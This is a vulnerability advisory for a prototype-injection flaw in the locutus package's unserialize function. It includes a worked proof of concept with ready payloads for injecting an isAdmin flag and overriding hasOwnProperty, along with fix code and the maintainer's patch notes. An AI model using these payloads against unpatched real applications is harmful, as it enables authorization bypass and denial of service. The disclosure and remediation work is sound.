CVE-2026-33993

Notably, parse_str in the same package has a regex guard against __proto__ (line 74 of src/php/strings/parse_str.ts), but no equivalent protection was applied to unserialize.

This is not global Object.prototype pollution — only the deserialized object's prototype is replaced. Other objects in the application are not affected.

PoC

Setup:

npm install [email protected]

Step 1 — Property injection via array deserialization:

import { unserialize } from 'locutus/php/var/unserialize';

const payload = 'a:2:{s:9:"__proto__";a:1:{s:7:"isAdmin";b:1;}s:4:"name";s:3:"bob";}';
const config = unserialize(payload);

console.log(config.isAdmin);           // true (injected via prototype)
console.log(Object.keys(config));      // ['name'] — isAdmin is hidden
console.log('isAdmin' in config);      // true — bypasses 'in' checks
console.log(config.hasOwnProperty('isAdmin')); // false — invisible to hasOwnProperty

Verified output:

true
[ 'name' ]
true
false

Step 2 — for...in propagation makes injected properties real:

const copy = {};
for (const k in config) copy[k] = config[k];
console.log(copy.isAdmin);                     // true (now an own property)
console.log(copy.hasOwnProperty('isAdmin'));    // true

Verified output:

true
true

Step 3 — Method override denial of service:

const payload2 = 'a:1:{s:9:"__proto__";a:1:{s:14:"hasOwnProperty";b:1;}}';
const obj = unserialize(payload2);
obj.hasOwnProperty('x');  // TypeError: obj.hasOwnProperty is not a function

Verified output:

TypeError: obj.hasOwnProperty is not a function

Step 4 — Object type (stdClass) is also vulnerable:

const payload3 = 'O:8:"stdClass":2:{s:9:"__proto__";a:1:{s:7:"isAdmin";b:1;}s:4:"name";s:3:"bob";}';
const obj2 = unserialize(payload3);
console.log(obj2.isAdmin);       // true
console.log('isAdmin' in obj2);  // true

Step 5 — Confirm NOT global pollution:

console.log(({}).isAdmin);  // undefined — global Object.prototype is clean

Impact

• Property injection: Attacker-controlled properties become accessible on the deserialized object via dot notation and the in operator while being invisible to Object.keys() and hasOwnProperty(). Applications that use if (config.isAdmin) or if ('role' in config) patterns on deserialized data are vulnerable to authorization bypass.
• Property propagation: When consuming code copies the object using for...in (a common JavaScript pattern for object spreading or cloning), injected prototype properties materialize as real own properties, surviving all subsequent hasOwnProperty checks.
• Denial of service: The injected prototype can override hasOwnProperty, toString, valueOf, and other Object.prototype methods with non-function values, causing TypeError when these methods are called on the deserialized object.

The primary use case for locutus unserialize is deserializing PHP-serialized data in JavaScript applications, often from external or untrusted sources. This makes the attack surface realistic.

Recommended Fix

Filter dangerous keys before assignment in both expectArrayItems and expectObject. Use Object.defineProperty to create a data property without triggering the __proto__ setter:

const DANGEROUS_KEYS = new Set(['__proto__', 'constructor', 'prototype']);

// In expectArrayItems (line 358) and expectObject (line 278):
const keyStr = String(key[0]); // or String(prop[0]) in expectObject
if (DANGEROUS_KEYS.has(keyStr)) {
  Object.defineProperty(items, keyStr, {
    value: item[0],
    writable: true,
    enumerable: true,
    configurable: true,
  });
} else {
  items[keyStr] = item[0];
}

Alternatively, create objects with a null prototype to prevent __proto__ setter invocation entirely:

// Replace: const items: UnserializedObject = {}
// With:
const items = Object.create(null) as UnserializedObject;

The Object.create(null) approach is more robust as it prevents the __proto__ setter from ever being triggered, regardless of key value.

Maintainer Reponse

Thank you for the report. This issue was reproduced locally against [email protected], confirming that unserialize() was vulnerable to __proto__-driven prototype injection on the returned object.

This is now fixed on main and released in [email protected].

Fix Shipped In

• PR: #597
• Merge commit on main: 345a6211e1e6f939f96a7090bfeff642c9fcf9e4
• Release: v3.0.25

What the Fix Does

The fix hardens src/php/var/unserialize.ts by treating __proto__, constructor, and prototype as dangerous keys and defining them as plain own properties instead of assigning through normal bracket notation. This preserves the key in the returned value without invoking JavaScript's prototype setter semantics.

Tested Repro Before the Fix

• Attacker-controlled serialized __proto__ key produced inherited properties on the returned object
• Object.keys() hid the injected key while 'key' in obj stayed true
• Built-in methods like hasOwnProperty could be disrupted

Tested State After the Fix in 3.0.25

• Dangerous keys are kept as own enumerable properties
• The returned object's prototype is not replaced
• The regression is covered by test/custom/unserialize-prototype-pollution.vitest.ts

The locutus team is treating this as a real package vulnerability with patched version 3.0.25.